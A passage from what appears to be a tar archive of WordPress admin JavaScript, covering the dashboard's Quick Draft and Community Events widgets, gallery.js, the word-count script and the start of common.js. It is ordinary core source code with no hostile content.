	postboxes.add_postbox_toggles(pagenow, { pbshow: ajaxPopulateWidgets } );

	/**
	 * Control the Quick Press (Quick Draft) widget.
	 *
	 * @since 2.7.0
	 *
	 * @global
	 *
	 * @return {void}
	 */
	window.quickPressLoad = function() {
		var act = $('#quickpost-action'), t;

		// Enable the submit buttons.
		$( '#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]' ).prop( 'disabled' , false );

		t = $('#quick-press').on( 'submit', function( e ) {
			e.preventDefault();

			// Show a spinner.
			$('#dashboard_quick_press #publishing-action .spinner').show();

			// Disable the submit button to prevent duplicate submissions.
			$('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop('disabled', true);

			// Post the entered data to save it.
			$.post( t.attr( 'action' ), t.serializeArray(), function( data ) {
				// Replace the form, and prepend the published post.
				$('#dashboard_quick_press .inside').html( data );
				$('#quick-press').removeClass('initial-form');
				quickPressLoad();
				highlightLatestPost();

				// Focus the title to allow for quickly drafting another post.
				$('#title').trigger( 'focus' );
			});

			/**
			 * Highlights the latest post for one second.
			 *
			 * @return {void}
 			 */
			function highlightLatestPost () {
				var latestPost = $('.drafts ul li').first();
				latestPost.css('background', '#fffbe5');
				setTimeout(function () {
					latestPost.css('background', 'none');
				}, 1000);
			}
		} );

		// Change the QuickPost action to the publish value.
		$('#publish').on( 'click', function() { act.val( 'post-quickpress-publish' ); } );

		$('#quick-press').on( 'click focusin', function() {
			wpActiveEditor = 'content';
		});

		autoResizeTextarea();
	};
	window.quickPressLoad();

	// Enable the dragging functionality of the widgets.
	$( '.meta-box-sortables' ).sortable( 'option', 'containment', '#wpwrap' );

	/**
	 * Adjust the height of the textarea based on the content.
	 *
	 * @since 3.6.0
	 *
	 * @return {void}
	 */
	function autoResizeTextarea() {
		// When IE8 or older is used to render this document, exit.
		if ( document.documentMode && document.documentMode < 9 ) {
			return;
		}

		// Add a hidden div. We'll copy over the text from the textarea to measure its height.
		$('body').append( '<div class="quick-draft-textarea-clone" style="display: none;"></div>' );

		var clone = $('.quick-draft-textarea-clone'),
			editor = $('#content'),
			editorHeight = editor.height(),
			/*
			 * 100px roughly accounts for browser chrome and allows the
			 * save draft button to show on-screen at the same time.
			 */
			editorMaxHeight = $(window).height() - 100;

		/*
		 * Match up textarea and clone div as much as possible.
		 * Padding cannot be reliably retrieved using shorthand in all browsers.
		 */
		clone.css({
			'font-family': editor.css('font-family'),
			'font-size':   editor.css('font-size'),
			'line-height': editor.css('line-height'),
			'padding-bottom': editor.css('paddingBottom'),
			'padding-left': editor.css('paddingLeft'),
			'padding-right': editor.css('paddingRight'),
			'padding-top': editor.css('paddingTop'),
			'white-space': 'pre-wrap',
			'word-wrap': 'break-word',
			'display': 'none'
		});

		// The 'propertychange' is used in IE < 9.
		editor.on('focus input propertychange', function() {
			var $this = $(this),
				// Add a non-breaking space to ensure that the height of a trailing newline is
				// included.
				textareaContent = $this.val() + '&nbsp;',
				// Add 2px to compensate for border-top & border-bottom.
				cloneHeight = clone.css('width', $this.css('width')).text(textareaContent).outerHeight() + 2;

			// Default to show a vertical scrollbar, if needed.
			editor.css('overflow-y', 'auto');

			// Only change the height if it has changed and both heights are below the max.
			if ( cloneHeight === editorHeight || ( cloneHeight >= editorMaxHeight && editorHeight >= editorMaxHeight ) ) {
				return;
			}

			/*
			 * Don't allow editor to exceed the height of the window.
			 * This is also bound in CSS to a max-height of 1300px to be extra safe.
			 */
			if ( cloneHeight > editorMaxHeight ) {
				editorHeight = editorMaxHeight;
			} else {
				editorHeight = cloneHeight;
			}

			// Disable scrollbars because we adjust the height to the content.
			editor.css('overflow', 'hidden');

			$this.css('height', editorHeight + 'px');
		});
	}

} );

jQuery( function( $ ) {
	'use strict';

	var communityEventsData = window.communityEventsData,
		dateI18n = wp.date.dateI18n,
		format = wp.date.format,
		sprintf = wp.i18n.sprintf,
		__ = wp.i18n.__,
		_x = wp.i18n._x,
		app;

	/**
	 * Global Community Events namespace.
	 *
	 * @since 4.8.0
	 *
	 * @memberOf wp
	 * @namespace wp.communityEvents
	 */
	app = window.wp.communityEvents = /** @lends wp.communityEvents */{
		initialized: false,
		model: null,

		/**
		 * Initializes the wp.communityEvents object.
		 *
		 * @since 4.8.0
		 *
		 * @return {void}
		 */
		init: function() {
			if ( app.initialized ) {
				return;
			}

			var $container = $( '#community-events' );

			/*
			 * When JavaScript is disabled, the errors container is shown, so
			 * that "This widget requires JavaScript" message can be seen.
			 *
			 * When JS is enabled, the container is hidden at first, and then
			 * revealed during the template rendering, if there actually are
			 * errors to show.
			 *
			 * The display indicator switches from `hide-if-js` to `aria-hidden`
			 * here in order to maintain consistency with all the other fields
			 * that key off of `aria-hidden` to determine their visibility.
			 * `aria-hidden` can't be used initially, because there would be no
			 * way to set it to false when JavaScript is disabled, which would
			 * prevent people from seeing the "This widget requires JavaScript"
			 * message.
			 */
			$( '.community-events-errors' )
				.attr( 'aria-hidden', 'true' )
				.removeClass( 'hide-if-js' );

			$container.on( 'click', '.community-events-toggle-location, .community-events-cancel', app.toggleLocationForm );

			/**
			 * Filters events based on entered location.
			 *
			 * @return {void}
			 */
			$container.on( 'submit', '.community-events-form', function( event ) {
				var location = $( '#community-events-location' ).val().trim();

				event.preventDefault();

				/*
				 * Don't trigger a search if the search field is empty or the
				 * search term was made of only spaces before being trimmed.
				 */
				if ( ! location ) {
					return;
				}

				app.getEvents({
					location: location
				});
			});

			if ( communityEventsData && communityEventsData.cache && communityEventsData.cache.location && communityEventsData.cache.events ) {
				app.renderEventsTemplate( communityEventsData.cache, 'app' );
			} else {
				app.getEvents();
			}

			app.initialized = true;
		},

		/**
		 * Toggles the visibility of the Edit Location form.
		 *
		 * @since 4.8.0
		 *
		 * @param {event|string} action 'show' or 'hide' to specify a state;
		 *                              or an event object to flip between states.
		 *
		 * @return {void}
		 */
		toggleLocationForm: function( action ) {
			var $toggleButton = $( '.community-events-toggle-location' ),
				$cancelButton = $( '.community-events-cancel' ),
				$form         = $( '.community-events-form' ),
				$target       = $();

			if ( 'object' === typeof action ) {
				// The action is the event object: get the clicked element.
				$target = $( action.target );
				/*
				 * Strict comparison doesn't work in this case because sometimes
				 * we explicitly pass a string as value of aria-expanded and
				 * sometimes a boolean as the result of an evaluation.
				 */
				action = 'true' == $toggleButton.attr( 'aria-expanded' ) ? 'hide' : 'show';
			}

			if ( 'hide' === action ) {
				$toggleButton.attr( 'aria-expanded', 'false' );
				$cancelButton.attr( 'aria-expanded', 'false' );
				$form.attr( 'aria-hidden', 'true' );
				/*
				 * If the Cancel button has been clicked, bring the focus back
				 * to the toggle button so users relying on screen readers don't
				 * lose their place.
				 */
				if ( $target.hasClass( 'community-events-cancel' ) ) {
					$toggleButton.trigger( 'focus' );
				}
			} else {
				$toggleButton.attr( 'aria-expanded', 'true' );
				$cancelButton.attr( 'aria-expanded', 'true' );
				$form.attr( 'aria-hidden', 'false' );
			}
		},

		/**
		 * Sends REST API requests to fetch events for the widget.
		 *
		 * @since 4.8.0
		 *
		 * @param {Object} requestParams REST API Request parameters object.
		 *
		 * @return {void}
		 */
		getEvents: function( requestParams ) {
			var initiatedBy,
				app = this,
				$spinner = $( '.community-events-form' ).children( '.spinner' );

			requestParams          = requestParams || {};
			requestParams._wpnonce = communityEventsData.nonce;
			requestParams.timezone = window.Intl ? window.Intl.DateTimeFormat().resolvedOptions().timeZone : '';

			initiatedBy = requestParams.location ? 'user' : 'app';

			$spinner.addClass( 'is-active' );

			wp.ajax.post( 'get-community-events', requestParams )
				.always( function() {
					$spinner.removeClass( 'is-active' );
				})

				.done( function( response ) {
					if ( 'no_location_available' === response.error ) {
						if ( requestParams.location ) {
							response.unknownCity = requestParams.location;
						} else {
							/*
							 * No location was passed, which means that this was an automatic query
							 * based on IP, locale, and timezone. Since the user didn't initiate it,
							 * it should fail silently. Otherwise, the error could confuse and/or
							 * annoy them.
							 */
							delete response.error;
						}
					}
					app.renderEventsTemplate( response, initiatedBy );
				})

				.fail( function() {
					app.renderEventsTemplate({
						'location' : false,
						'events'   : [],
						'error'    : true
					}, initiatedBy );
				});
		},

		/**
		 * Renders the template for the Events section of the Events & News widget.
		 *
		 * @since 4.8.0
		 *
		 * @param {Object} templateParams The various parameters that will get passed to wp.template.
		 * @param {string} initiatedBy    'user' to indicate that this was triggered manually by the user;
		 *                                'app' to indicate it was triggered automatically by the app itself.
		 *
		 * @return {void}
		 */
		renderEventsTemplate: function( templateParams, initiatedBy ) {
			var template,
				elementVisibility,
				$toggleButton    = $( '.community-events-toggle-location' ),
				$locationMessage = $( '#community-events-location-message' ),
				$results         = $( '.community-events-results' );

			templateParams.events = app.populateDynamicEventFields(
				templateParams.events,
				communityEventsData.time_format
			);

			/*
			 * Hide all toggleable elements by default, to keep the logic simple.
			 * Otherwise, each block below would have to turn hide everything that
			 * could have been shown at an earlier point.
			 *
			 * The exception to that is that the .community-events container is hidden
			 * when the page is first loaded, because the content isn't ready yet,
			 * but once we've reached this point, it should always be shown.
			 */
			elementVisibility = {
				'.community-events'                  : true,
				'.community-events-loading'          : false,
				'.community-events-errors'           : false,
				'.community-events-error-occurred'   : false,
				'.community-events-could-not-locate' : false,
				'#community-events-location-message' : false,
				'.community-events-toggle-location'  : false,
				'.community-events-results'          : false
			};

			/*
			 * Determine which templates should be rendered and which elements
			 * should be displayed.
			 */
			if ( templateParams.location.ip ) {
				/*
				 * If the API determined the location by geolocating an IP, it will
				 * provide events, but not a specific location.
				 */
				$locationMessage.text( __( 'Attend an upcoming event near you.' ) );

				if ( templateParams.events.length ) {
					template = wp.template( 'community-events-event-list' );
					$results.html( template( templateParams ) );
				} else {
					template = wp.template( 'community-events-no-upcoming-events' );
					$results.html( template( templateParams ) );
				}

				elementVisibility['#community-events-location-message'] = true;
				elementVisibility['.community-events-toggle-location']  = true;
				elementVisibility['.community-events-results']          = true;

			} else if ( templateParams.location.description ) {
				template = wp.template( 'community-events-attend-event-near' );
				$locationMessage.html( template( templateParams ) );

				if ( templateParams.events.length ) {
					template = wp.template( 'community-events-event-list' );
					$results.html( template( templateParams ) );
				} else {
					template = wp.template( 'community-events-no-upcoming-events' );
					$results.html( template( templateParams ) );
				}

				if ( 'user' === initiatedBy ) {
					wp.a11y.speak(
						sprintf(
							/* translators: %s: The name of a city. */
							__( 'City updated. Listing events near %s.' ),
							templateParams.location.description
						),
						'assertive'
					);
				}

				elementVisibility['#community-events-location-message'] = true;
				elementVisibility['.community-events-toggle-location']  = true;
				elementVisibility['.community-events-results']          = true;

			} else if ( templateParams.unknownCity ) {
				template = wp.template( 'community-events-could-not-locate' );
				$( '.community-events-could-not-locate' ).html( template( templateParams ) );
				wp.a11y.speak(
					sprintf(
						/*
						 * These specific examples were chosen to highlight the fact that a
						 * state is not needed, even for cities whose name is not unique.
						 * It would be too cumbersome to include that in the instructions
						 * to the user, so it's left as an implication.
						 */
						/*
						 * translators: %s is the name of the city we couldn't locate.
						 * Replace the examples with cities related to your locale. Test that
						 * they match the expected location and have upcoming events before
						 * including them. If no cities related to your locale have events,
						 * then use cities related to your locale that would be recognizable
						 * to most users. Use only the city name itself, without any region
						 * or country. Use the endonym (native locale name) instead of the
						 * English name if possible.
						 */
						__( 'We couldn’t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ),
						templateParams.unknownCity
					)
				);

				elementVisibility['.community-events-errors']           = true;
				elementVisibility['.community-events-could-not-locate'] = true;

			} else if ( templateParams.error && 'user' === initiatedBy ) {
				/*
				 * Errors messages are only shown for requests that were initiated
				 * by the user, not for ones that were initiated by the app itself.
				 * Showing error messages for an event that user isn't aware of
				 * could be confusing or unnecessarily distracting.
				 */
				wp.a11y.speak( __( 'An error occurred. Please try again.' ) );

				elementVisibility['.community-events-errors']         = true;
				elementVisibility['.community-events-error-occurred'] = true;
			} else {
				$locationMessage.text( __( 'Enter your closest city to find nearby events.' ) );

				elementVisibility['#community-events-location-message'] = true;
				elementVisibility['.community-events-toggle-location']  = true;
			}

			// Set the visibility of toggleable elements.
			_.each( elementVisibility, function( isVisible, element ) {
				$( element ).attr( 'aria-hidden', ! isVisible );
			});

			$toggleButton.attr( 'aria-expanded', elementVisibility['.community-events-toggle-location'] );

			if ( templateParams.location && ( templateParams.location.ip || templateParams.location.latitude ) ) {
				// Hide the form when there's a valid location.
				app.toggleLocationForm( 'hide' );

				if ( 'user' === initiatedBy ) {
					/*
					 * When the form is programmatically hidden after a user search,
					 * bring the focus back to the toggle button so users relying
					 * on screen readers don't lose their place.
					 */
					$toggleButton.trigger( 'focus' );
				}
			} else {
				app.toggleLocationForm( 'show' );
			}
		},

		/**
		 * Populate event fields that have to be calculated on the fly.
		 *
		 * These can't be stored in the database, because they're dependent on
		 * the user's current time zone, locale, etc.
		 *
		 * @since 5.5.2
		 *
		 * @param {Array}  rawEvents  The events that should have dynamic fields added to them.
		 * @param {string} timeFormat A time format acceptable by `wp.date.dateI18n()`.
		 *
		 * @returns {Array}
		 */
		populateDynamicEventFields: function( rawEvents, timeFormat ) {
			// Clone the parameter to avoid mutating it, so that this can remain a pure function.
			var populatedEvents = JSON.parse( JSON.stringify( rawEvents ) );

			$.each( populatedEvents, function( index, event ) {
				var timeZone = app.getTimeZone( event.start_unix_timestamp * 1000 );

				event.user_formatted_date = app.getFormattedDate(
					event.start_unix_timestamp * 1000,
					event.end_unix_timestamp * 1000,
					timeZone
				);

				event.user_formatted_time = dateI18n(
					timeFormat,
					event.start_unix_timestamp * 1000,
					timeZone
				);

				event.timeZoneAbbreviation = app.getTimeZoneAbbreviation( event.start_unix_timestamp * 1000 );
			} );

			return populatedEvents;
		},

		/**
		 * Returns the user's local/browser time zone, in a form suitable for `wp.date.i18n()`.
		 *
		 * @since 5.5.2
		 *
		 * @param startTimestamp
		 *
		 * @returns {string|number}
		 */
		getTimeZone: function( startTimestamp ) {
			/*
			 * Prefer a name like `Europe/Helsinki`, since that automatically tracks daylight savings. This
			 * doesn't need to take `startTimestamp` into account for that reason.
			 */
			var timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone;

			/*
			 * Fall back to an offset for IE11, which declares the property but doesn't assign a value.
			 */
			if ( 'undefined' === typeof timeZone ) {
				/*
				 * It's important to use the _event_ time, not the _current_
				 * time, so that daylight savings time is accounted for.
				 */
				timeZone = app.getFlippedTimeZoneOffset( startTimestamp );
			}

			return timeZone;
		},

		/**
		 * Get intuitive time zone offset.
		 *
		 * `Data.prototype.getTimezoneOffset()` returns a positive value for time zones
		 * that are _behind_ UTC, and a _negative_ value for ones that are ahead.
		 *
		 * See https://stackoverflow.com/questions/21102435/why-does-javascript-date-gettimezoneoffset-consider-0500-as-a-positive-off.
		 *
		 * @since 5.5.2
		 *
		 * @param {number} startTimestamp
		 *
		 * @returns {number}
		 */
		getFlippedTimeZoneOffset: function( startTimestamp ) {
			return new Date( startTimestamp ).getTimezoneOffset() * -1;
		},

		/**
		 * Get a short time zone name, like `PST`.
		 *
		 * @since 5.5.2
		 *
		 * @param {number} startTimestamp
		 *
		 * @returns {string}
		 */
		getTimeZoneAbbreviation: function( startTimestamp ) {
			var timeZoneAbbreviation,
				eventDateTime = new Date( startTimestamp );

			/*
			 * Leaving the `locales` argument undefined is important, so that the browser
			 * displays the abbreviation that's most appropriate for the current locale. For
			 * some that will be `UTC{+|-}{n}`, and for others it will be a code like `PST`.
			 *
			 * This doesn't need to take `startTimestamp` into account, because a name like
			 * `America/Chicago` automatically tracks daylight savings.
			 */
			var shortTimeStringParts = eventDateTime.toLocaleTimeString( undefined, { timeZoneName : 'short' } ).split( ' ' );

			if ( 3 === shortTimeStringParts.length ) {
				timeZoneAbbreviation = shortTimeStringParts[2];
			}

			if ( 'undefined' === typeof timeZoneAbbreviation ) {
				/*
				 * It's important to use the _event_ time, not the _current_
				 * time, so that daylight savings time is accounted for.
				 */
				var timeZoneOffset = app.getFlippedTimeZoneOffset( startTimestamp ),
					sign = -1 === Math.sign( timeZoneOffset ) ? '' : '+';

				// translators: Used as part of a string like `GMT+5` in the Events Widget.
				timeZoneAbbreviation = _x( 'GMT', 'Events widget offset prefix' ) + sign + ( timeZoneOffset / 60 );
			}

			return timeZoneAbbreviation;
		},

		/**
		 * Format a start/end date in the user's local time zone and locale.
		 *
		 * @since 5.5.2
		 *
		 * @param {int}    startDate   The Unix timestamp in milliseconds when the the event starts.
		 * @param {int}    endDate     The Unix timestamp in milliseconds when the the event ends.
		 * @param {string} timeZone    A time zone string or offset which is parsable by `wp.date.i18n()`.
		 *
		 * @returns {string}
		 */
		getFormattedDate: function( startDate, endDate, timeZone ) {
			var formattedDate;

			/*
			 * The `date_format` option is not used because it's important
			 * in this context to keep the day of the week in the displayed date,
			 * so that users can tell at a glance if the event is on a day they
			 * are available, without having to open the link.
			 *
			 * The case of crossing a year boundary is intentionally not handled.
			 * It's so rare in practice that it's not worth the complexity
			 * tradeoff. The _ending_ year should be passed to
			 * `multiple_month_event`, though, just in case.
			 */
			/* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/manual/datetime.format.php */
			var singleDayEvent = __( 'l, M j, Y' ),
				/* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */
				multipleDayEvent = __( '%1$s %2$d–%3$d, %4$d' ),
				/* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Ending year. */
				multipleMonthEvent = __( '%1$s %2$d – %3$s %4$d, %5$d' );

			// Detect single-day events.
			if ( ! endDate || format( 'Y-m-d', startDate ) === format( 'Y-m-d', endDate ) ) {
				formattedDate = dateI18n( singleDayEvent, startDate, timeZone );

			// Multiple day events.
			} else if ( format( 'Y-m', startDate ) === format( 'Y-m', endDate ) ) {
				formattedDate = sprintf(
					multipleDayEvent,
					dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ),
					dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ),
					dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ),
					dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone )
				);

			// Multi-day events that cross a month boundary.
			} else {
				formattedDate = sprintf(
					multipleMonthEvent,
					dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ),
					dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ),
					dateI18n( _x( 'F', 'upcoming events month format' ), endDate, timeZone ),
					dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ),
					dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone )
				);
			}

			return formattedDate;
		}
	};

	if ( $( '#dashboard_primary' ).is( ':visible' ) ) {
		app.init();
	} else {
		$( document ).on( 'postbox-toggled', function( event, postbox ) {
			var $postbox = $( postbox );

			if ( 'dashboard_primary' === $postbox.attr( 'id' ) && $postbox.is( ':visible' ) ) {
				app.init();
			}
		});
	}
});

/**
 * Removed in 5.6.0, needed for back-compatibility.
 *
 * @since 4.8.0
 * @deprecated 5.6.0
 *
 * @type {object}
*/
window.communityEventsData.l10n = window.communityEventsData.l10n || {
	enter_closest_city: '',
	error_occurred_please_try_again: '',
	attend_event_near_generic: '',
	could_not_locate_city: '',
	city_updated: ''
};

window.communityEventsData.l10n = window.wp.deprecateL10nObject( 'communityEventsData.l10n', window.communityEventsData.l10n, '5.6.0' );
gallery.js000064400000012647150276633110006557 0ustar00/**
 * @output wp-admin/js/gallery.js
 */

/* global unescape, getUserSetting, setUserSetting, wpgallery, tinymce */

jQuery( function($) {
	var gallerySortable, gallerySortableInit, sortIt, clearAll, w, desc = false;

	gallerySortableInit = function() {
		gallerySortable = $('#media-items').sortable( {
			items: 'div.media-item',
			placeholder: 'sorthelper',
			axis: 'y',
			distance: 2,
			handle: 'div.filename',
			stop: function() {
				// When an update has occurred, adjust the order for each item.
				var all = $('#media-items').sortable('toArray'), len = all.length;
				$.each(all, function(i, id) {
					var order = desc ? (len - i) : (1 + i);
					$('#' + id + ' .menu_order input').val(order);
				});
			}
		} );
	};

	sortIt = function() {
		var all = $('.menu_order_input'), len = all.length;
		all.each(function(i){
			var order = desc ? (len - i) : (1 + i);
			$(this).val(order);
		});
	};

	clearAll = function(c) {
		c = c || 0;
		$('.menu_order_input').each( function() {
			if ( this.value === '0' || c ) {
				this.value = '';
			}
		});
	};

	$('#asc').on( 'click', function( e ) {
		e.preventDefault();
		desc = false;
		sortIt();
	});
	$('#desc').on( 'click', function( e ) {
		e.preventDefault();
		desc = true;
		sortIt();
	});
	$('#clear').on( 'click', function( e ) {
		e.preventDefault();
		clearAll(1);
	});
	$('#showall').on( 'click', function( e ) {
		e.preventDefault();
		$('#sort-buttons span a').toggle();
		$('a.describe-toggle-on').hide();
		$('a.describe-toggle-off, table.slidetoggle').show();
		$('img.pinkynail').toggle(false);
	});
	$('#hideall').on( 'click', function( e ) {
		e.preventDefault();
		$('#sort-buttons span a').toggle();
		$('a.describe-toggle-on').show();
		$('a.describe-toggle-off, table.slidetoggle').hide();
		$('img.pinkynail').toggle(true);
	});

	// Initialize sortable.
	gallerySortableInit();
	clearAll();

	if ( $('#media-items>*').length > 1 ) {
		w = wpgallery.getWin();

		$('#save-all, #gallery-settings').show();
		if ( typeof w.tinyMCE !== 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) {
			wpgallery.mcemode = true;
			wpgallery.init();
		} else {
			$('#insert-gallery').show();
		}
	}
});

/* gallery settings */
window.tinymce = null;

window.wpgallery = {
	mcemode : false,
	editor : {},
	dom : {},
	is_update : false,
	el : {},

	I : function(e) {
		return document.getElementById(e);
	},

	init: function() {
		var t = this, li, q, i, it, w = t.getWin();

		if ( ! t.mcemode ) {
			return;
		}

		li = ('' + document.location.search).replace(/^\?/, '').split('&');
		q = {};
		for (i=0; i<li.length; i++) {
			it = li[i].split('=');
			q[unescape(it[0])] = unescape(it[1]);
		}

		if ( q.mce_rdomain ) {
			document.domain = q.mce_rdomain;
		}

		// Find window & API.
		window.tinymce = w.tinymce;
		window.tinyMCE = w.tinyMCE;
		t.editor = tinymce.EditorManager.activeEditor;

		t.setup();
	},

	getWin : function() {
		return window.dialogArguments || opener || parent || top;
	},

	setup : function() {
		var t = this, a, ed = t.editor, g, columns, link, order, orderby;
		if ( ! t.mcemode ) {
			return;
		}

		t.el = ed.selection.getNode();

		if ( t.el.nodeName !== 'IMG' || ! ed.dom.hasClass(t.el, 'wpGallery') ) {
			if ( ( g = ed.dom.select('img.wpGallery') ) && g[0] ) {
				t.el = g[0];
			} else {
				if ( getUserSetting('galfile') === '1' ) {
					t.I('linkto-file').checked = 'checked';
				}
				if ( getUserSetting('galdesc') === '1' ) {
					t.I('order-desc').checked = 'checked';
				}
				if ( getUserSetting('galcols') ) {
					t.I('columns').value = getUserSetting('galcols');
				}
				if ( getUserSetting('galord') ) {
					t.I('orderby').value = getUserSetting('galord');
				}
				jQuery('#insert-gallery').show();
				return;
			}
		}

		a = ed.dom.getAttrib(t.el, 'title');
		a = ed.dom.decode(a);

		if ( a ) {
			jQuery('#update-gallery').show();
			t.is_update = true;

			columns = a.match(/columns=['"]([0-9]+)['"]/);
			link = a.match(/link=['"]([^'"]+)['"]/i);
			order = a.match(/order=['"]([^'"]+)['"]/i);
			orderby = a.match(/orderby=['"]([^'"]+)['"]/i);

			if ( link && link[1] ) {
				t.I('linkto-file').checked = 'checked';
			}
			if ( order && order[1] ) {
				t.I('order-desc').checked = 'checked';
			}
			if ( columns && columns[1] ) {
				t.I('columns').value = '' + columns[1];
			}
			if ( orderby && orderby[1] ) {
				t.I('orderby').value = orderby[1];
			}
		} else {
			jQuery('#insert-gallery').show();
		}
	},

	update : function() {
		var t = this, ed = t.editor, all = '', s;

		if ( ! t.mcemode || ! t.is_update ) {
			s = '[gallery' + t.getSettings() + ']';
			t.getWin().send_to_editor(s);
			return;
		}

		if ( t.el.nodeName !== 'IMG' ) {
			return;
		}

		all = ed.dom.decode( ed.dom.getAttrib( t.el, 'title' ) );
		all = all.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi, '');
		all += t.getSettings();

		ed.dom.setAttrib(t.el, 'title', all);
		t.getWin().tb_remove();
	},

	getSettings : function() {
		var I = this.I, s = '';

		if ( I('linkto-file').checked ) {
			s += ' link="file"';
			setUserSetting('galfile', '1');
		}

		if ( I('order-desc').checked ) {
			s += ' order="DESC"';
			setUserSetting('galdesc', '1');
		}

		if ( I('columns').value !== 3 ) {
			s += ' columns="' + I('columns').value + '"';
			setUserSetting('galcols', I('columns').value);
		}

		if ( I('orderby').value !== 'menu_order' ) {
			s += ' orderby="' + I('orderby').value + '"';
			setUserSetting('galord', I('orderby').value);
		}

		return s;
	}
};
word-count.min.js000064400000002772150276633110010001 0ustar00/*! This file is auto-generated */
!function(){function e(e){var t,s;if(e)for(t in e)e.hasOwnProperty(t)&&(this.settings[t]=e[t]);(s=this.settings.l10n.shortcodes)&&s.length&&(this.settings.shortcodesRegExp=new RegExp("\\[\\/?(?:"+s.join("|")+")[^\\]]*?\\]","g"))}e.prototype.settings={HTMLRegExp:/<\/?[a-z][^>]*?>/gi,HTMLcommentRegExp:/<!--[\s\S]*?-->/g,spaceRegExp:/&nbsp;|&#160;/gi,HTMLEntityRegExp:/&\S+?;/g,connectorRegExp:/--|\u2014/g,removeRegExp:new RegExp(["[","!-@[-`{-~","\x80-\xbf\xd7\xf7","\u2000-\u2bff","\u2e00-\u2e7f","]"].join(""),"g"),astralRegExp:/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,wordsRegExp:/\S\s+/g,characters_excluding_spacesRegExp:/\S/g,characters_including_spacesRegExp:/[^\f\n\r\t\v\u00AD\u2028\u2029]/g,l10n:window.wordCountL10n||{}},e.prototype.count=function(e,t){var s=0;return"characters_excluding_spaces"!==(t=t||this.settings.l10n.type)&&"characters_including_spaces"!==t&&(t="words"),s=e&&(e=(e=(e+="\n").replace(this.settings.HTMLRegExp,"\n")).replace(this.settings.HTMLcommentRegExp,""),e=(e=this.settings.shortcodesRegExp?e.replace(this.settings.shortcodesRegExp,"\n"):e).replace(this.settings.spaceRegExp," "),e=(e="words"===t?(e=(e=e.replace(this.settings.HTMLEntityRegExp,"")).replace(this.settings.connectorRegExp," ")).replace(this.settings.removeRegExp,""):(e=e.replace(this.settings.HTMLEntityRegExp,"a")).replace(this.settings.astralRegExp,"a")).match(this.settings[t+"RegExp"]))?e.length:s},window.wp=window.wp||{},window.wp.utils=window.wp.utils||{},window.wp.utils.WordCounter=e}();common.js000064400000164052150276633110006406 0ustar00/**
 * @output wp-admin/js/common.js
 */

/* global setUserSetting, ajaxurl, alert, confirm, pagenow */
/* global columns, screenMeta */

/**
 *  Adds common WordPress functionality to the window.
 *
 *  @param {jQuery} $        jQuery object.
 *  @param {Object} window   The window object.
 *  @param {mixed} undefined Unused.
 */
( function( $, window, undefined ) {
	var $document = $( document ),
		$window = $( window ),
		$body = $( document.body ),
		__ = wp.i18n.__,
		sprintf = wp.i18n.sprintf;

/**
 * Throws an error for a deprecated property.
 *
 * @since 5.5.1
 *
 * @param {string} propName    The property that was used.
 * @param {string} version     The version of WordPress that deprecated the property.
 * @param {string} replacement The property that should have been used.
 */
function deprecatedProperty( propName, version, replacement ) {
	var message;

	if ( 'undefined' !== typeof replacement ) {
		message = sprintf(
			/* translators: 1: Deprecated property name, 2: Version number, 3: Alternative property name. */
			__( '%1$s is deprecated since version %2$s! Use %3$s instead.' ),
			propName,
			version,
			replacement
		);
	} else {
		message = sprintf(
			/* translators: 1: Deprecated property name, 2: Version number. */
			__( '%1$s is deprecated since version %2$s with no alternative available.' ),
			propName,
			version
		);
	}

	window.console.warn( message );
}

/**
 * Deprecate all properties on an object.
 *
 * @since 5.5.1
 * @since 5.6.0 Added the `version` parameter.
 *
 * @param {string} name       The name of the object, i.e. commonL10n.
 * @param {object} l10nObject The object to deprecate the properties on.
 * @param {string} version    The version of WordPress that deprecated the property.
 *
 * @return {object} The object with all its properties deprecated.
 */
function deprecateL10nObject( name, l10nObject, version ) {
	var deprecatedObject = {};

	Object.keys( l10nObject ).forEach( function( key ) {
		var prop = l10nObject[ key ];
		var propName = name + '.' + key;

		if ( 'object' === typeof prop ) {
			Object.defineProperty( deprecatedObject, key, { get: function() {
				deprecatedProperty( propName, version, prop.alternative );
				return prop.func();
			} } );
		} else {
			Object.defineProperty( deprecatedObject, key, { get: function() {
				deprecatedProperty( propName, version, 'wp.i18n' );
				return prop;
			} } );
		}
	} );

	return deprecatedObject;
}

window.wp.deprecateL10nObject = deprecateL10nObject;

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.6.0
 * @deprecated 5.5.0
 */
window.commonL10n = window.commonL10n || {
	warnDelete: '',
	dismiss: '',
	collapseMenu: '',
	expandMenu: ''
};

window.commonL10n = deprecateL10nObject( 'commonL10n', window.commonL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.3.0
 * @deprecated 5.5.0
 */
window.wpPointerL10n = window.wpPointerL10n || {
	dismiss: ''
};

window.wpPointerL10n = deprecateL10nObject( 'wpPointerL10n', window.wpPointerL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.3.0
 * @deprecated 5.5.0
 */
window.userProfileL10n = window.userProfileL10n || {
	warn: '',
	warnWeak: '',
	show: '',
	hide: '',
	cancel: '',
	ariaShow: '',
	ariaHide: ''
};

window.userProfileL10n = deprecateL10nObject( 'userProfileL10n', window.userProfileL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.6
 * @deprecated 5.5.0
 */
window.privacyToolsL10n = window.privacyToolsL10n || {
	noDataFound: '',
